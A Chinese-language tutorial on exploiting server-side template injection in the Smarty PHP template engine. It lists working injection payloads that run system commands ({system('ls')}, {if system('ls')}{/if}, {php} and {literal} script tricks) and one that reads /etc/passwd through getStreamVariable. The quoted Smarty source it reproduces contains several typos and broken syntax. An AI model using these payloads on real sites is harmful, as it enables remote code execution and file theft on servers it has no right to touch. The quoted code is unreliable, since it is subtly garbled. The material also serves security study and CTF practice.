本文主要是介绍深入解析Smarty SSTI 利用,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
Smarty
Smarty是基于PHP开发的,对于Smarty的SSTI 的利用与常见的flask的SSTI有很大区别,了解过Jinjia2模板注入的应该知道,Jinjia2是基于python的,而Smarty是基于PHP的,所以使用起来还是比较容易地,我们只需要达到 命令执行即可
查看版本
{$smarty.version}
常用标签
{php}
Smarty支持使用{php}{/php}标签来执行被包裹其中地命令,最常规地思路就是先测试该标签
{php}phpinfo(){/php}
不过Smarty已经废弃了{php}标签。在Smarty3.1,{php}仅可以在Smarty BC中使用。
直接输入命令即可
{system('ls')}
{literal}标签
官方手册这样描述这个标签
{literal}可以让一个模板区域的字符原样输出,这样常常用于保护页面上的JavaScript或者CSS样式表,避免因为Smarty的定界符而被错误解析
使用JavaScript语句进行命令执行,常见的变形语句:
<script language="php">phpinfo();</script>
当然这样的语法,在php5中可以使用,在PHP7中不可以使用。
因为**{literal}**中支持JavaScript语法,所以我们可以RCE
{literal}<script language="php">phpinfo();</script>
{/literal}
调用静态方法
通过self获取Smarty类,再调用其静态方法实现文件读写
Smarty类的getStreamVariable方法的代码
public function getStreamVariable($variable) {$_result = '';$fp = fopen($variable,'r+');if ($fp) {while(!feof($fp) && (current_line = fgets($fp)) != false){$_result .= $current_line;}fclose($fp);return $_result;}$smarty = isset($this -> smarty)?$this->smarty : $this;if($smarth->error_unassigned) {throw new SmartyExcption('undefined stram variable ""'.$variable.'"');}else {return null;}
}
这个方法可以读取一个文件并返回其内容,所以我们可以使用self来获取smarty对象,并调用这个方法,很多文章里面给的payload都形如
{self::getStreamVariable("file:///etc/passwd")}
{if}
官方文档中这样描述
Smarty的{if}条件判断和PHP的if非常相似,只是增加了一些特性,每个{if}必须有一个配对的{/if},也可以使用{else}和{elseif},全部的PHP条件表达式和函数都可以在{if}内使用,比如|| 、 or 、 && 、 and 、is_array()等等,如{if_is_array($array)}{/if}*
既然全部的PHP函数都可以使用,那么我们可以是利用此来执行我们的代码
{if phpinfo()}{/if}
{if system('ls')}{/if}
这篇关于深入解析Smarty SSTI 利用的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!